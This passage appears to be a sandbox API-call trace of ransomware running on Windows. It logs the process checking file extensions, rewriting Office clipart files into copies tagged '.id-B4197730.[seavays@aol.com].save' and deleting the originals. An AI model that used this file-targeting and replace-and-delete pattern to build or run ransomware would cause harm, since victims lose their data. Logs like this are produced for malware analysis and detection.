[0170.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.964] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.964] lstrlenW (lpString="J0107024.WMF") returned 12 [0170.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.966] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3020) returned 1 [0170.967] CloseHandle (hObject=0x434) returned 1 [0170.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0170.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.968] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.968] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.969] GetLastError () returned 0x0 [0170.969] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xbcc, lpOverlapped=0x0) returned 1 [0170.970] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xbd0, lpOverlapped=0x0) returned 1 [0170.971] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.971] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.971] SetEndOfFile (hFile=0x528) returned 1 [0170.971] CloseHandle (hObject=0x528) returned 1 [0170.971] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.972] SetEndOfFile (hFile=0x434) returned 1 [0171.267] CloseHandle (hObject=0x434) returned 1 [0171.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0171.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0171.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.269] lstrlenW (lpString=".doc") returned 4 [0171.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.269] lstrlenW (lpString=".docx") returned 5 [0171.269] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.269] lstrlenW (lpString=".pdf") returned 4 [0171.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.269] lstrlenW (lpString=".xls") returned 4 [0171.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.269] lstrlenW (lpString=".xlsx") returned 5 [0171.269] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.270] lstrlenW (lpString=".ppt") returned 4 [0171.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString=".zip") returned 4 [0171.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.270] lstrlenW (lpString=".rar") returned 4 [0171.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString=".bz2") returned 4 [0171.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString=".7z") returned 3 [0171.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString=".dbf") returned 4 [0171.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString=".1cd") returned 4 [0171.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString=".jpg") returned 4 [0171.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.270] lstrlenW (lpString=".doc") returned 4 [0171.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString=".docx") returned 5 [0171.271] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.271] lstrlenW (lpString=".pdf") returned 4 [0171.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString=".xls") returned 4 [0171.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.271] lstrlenW (lpString=".xlsx") returned 5 [0171.271] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.271] lstrlenW (lpString=".ppt") returned 4 [0171.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.271] lstrlenW (lpString=".zip") returned 4 [0171.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.271] lstrlenW (lpString=".rar") returned 4 [0171.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString=".bz2") returned 4 [0171.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString=".7z") returned 3 [0171.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.271] lstrlenW (lpString=".dbf") returned 4 [0171.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.271] lstrlenW (lpString=".1cd") returned 4 [0171.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0171.272] lstrlenW (lpString=".jpg") returned 4 [0171.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.272] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0171.272] lstrlenW (lpString="J0107090.WMF") returned 12 [0171.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.273] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=14132) returned 1 [0171.273] CloseHandle (hObject=0x434) returned 1 [0171.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0171.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.274] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.274] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.275] GetLastError () returned 0x0 [0171.275] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x3734, lpOverlapped=0x0) returned 1 [0171.277] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x3740, lpOverlapped=0x0) returned 1 [0171.279] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0171.279] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0171.279] SetEndOfFile (hFile=0x51c) returned 1 [0171.279] CloseHandle (hObject=0x51c) returned 1 [0171.279] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.279] SetEndOfFile (hFile=0x434) returned 1 [0171.283] CloseHandle (hObject=0x434) returned 1 [0171.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0171.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0171.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.284] lstrlenW (lpString=".doc") returned 4 [0171.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.284] lstrlenW (lpString=".docx") returned 5 [0171.285] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.285] lstrlenW (lpString=".pdf") returned 4 [0171.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString=".xls") returned 4 [0171.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.285] lstrlenW (lpString=".xlsx") returned 5 [0171.285] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.285] lstrlenW (lpString=".ppt") returned 4 [0171.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.285] lstrlenW (lpString=".zip") returned 4 [0171.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.285] lstrlenW (lpString=".rar") returned 4 [0171.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString=".bz2") returned 4 [0171.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString=".7z") returned 3 [0171.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.285] lstrlenW (lpString=".dbf") returned 4 [0171.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.285] lstrlenW (lpString=".1cd") returned 4 [0171.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.286] lstrlenW (lpString=".jpg") returned 4 [0171.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.286] lstrlenW (lpString=".doc") returned 4 [0171.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.286] lstrlenW (lpString=".docx") returned 5 [0171.286] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.286] lstrlenW (lpString=".pdf") returned 4 [0171.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.286] lstrlenW (lpString=".xls") returned 4 [0171.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.286] lstrlenW (lpString=".xlsx") returned 5 [0171.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.286] lstrlenW (lpString=".ppt") returned 4 [0171.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.286] lstrlenW (lpString=".zip") returned 4 [0171.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.286] lstrlenW (lpString=".rar") returned 4 [0171.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.286] lstrlenW (lpString=".bz2") returned 4 [0171.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.287] lstrlenW (lpString=".7z") returned 3 [0171.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.287] lstrlenW (lpString=".dbf") returned 4 [0171.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.287] lstrlenW (lpString=".1cd") returned 4 [0171.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0171.287] lstrlenW (lpString=".jpg") returned 4 [0171.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.287] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0171.287] lstrlenW (lpString="J0107130.WMF") returned 12 [0171.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.288] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=27084) returned 1 [0171.288] CloseHandle (hObject=0x434) returned 1 [0171.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0171.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.289] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.290] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.291] GetLastError () returned 0x0 [0171.291] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x69cc, lpOverlapped=0x0) returned 1 [0171.293] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x69d0, lpOverlapped=0x0) returned 1 [0171.295] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0171.296] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0171.296] SetEndOfFile (hFile=0x51c) returned 1 [0171.296] CloseHandle (hObject=0x51c) returned 1 [0171.296] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0171.297] SetEndOfFile (hFile=0x434) returned 1 [0171.465] CloseHandle (hObject=0x434) returned 1 [0171.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.368] lstrlenW (lpString=".doc") returned 4 [0172.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.368] lstrlenW (lpString=".docx") returned 5 [0172.368] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.368] lstrlenW (lpString=".pdf") returned 4 [0172.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.368] lstrlenW (lpString=".xls") returned 4 [0172.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.368] lstrlenW (lpString=".xlsx") returned 5 [0172.368] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.368] lstrlenW (lpString=".ppt") returned 4 [0172.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.368] lstrlenW (lpString=".zip") returned 4 [0172.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.368] lstrlenW (lpString=".rar") returned 4 [0172.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString=".bz2") returned 4 [0172.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString=".7z") returned 3 [0172.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.369] lstrlenW (lpString=".dbf") returned 4 [0172.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.369] lstrlenW (lpString=".1cd") returned 4 [0172.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.369] lstrlenW (lpString=".jpg") returned 4 [0172.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.369] lstrlenW (lpString=".doc") returned 4 [0172.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString=".docx") returned 5 [0172.369] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.369] lstrlenW (lpString=".pdf") returned 4 [0172.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.369] lstrlenW (lpString=".xls") returned 4 [0172.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.369] lstrlenW (lpString=".xlsx") returned 5 [0172.369] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.370] lstrlenW (lpString=".ppt") returned 4 [0172.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.370] lstrlenW (lpString=".zip") returned 4 [0172.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.370] lstrlenW (lpString=".rar") returned 4 [0172.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.370] lstrlenW (lpString=".bz2") returned 4 [0172.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.370] lstrlenW (lpString=".7z") returned 3 [0172.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.370] lstrlenW (lpString=".dbf") returned 4 [0172.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.370] lstrlenW (lpString=".1cd") returned 4 [0172.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0172.370] lstrlenW (lpString=".jpg") returned 4 [0172.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.371] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.371] lstrlenW (lpString="J0107158.WMF") returned 12 [0172.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.372] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=24908) returned 1 [0172.372] CloseHandle (hObject=0x51c) returned 1 [0172.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 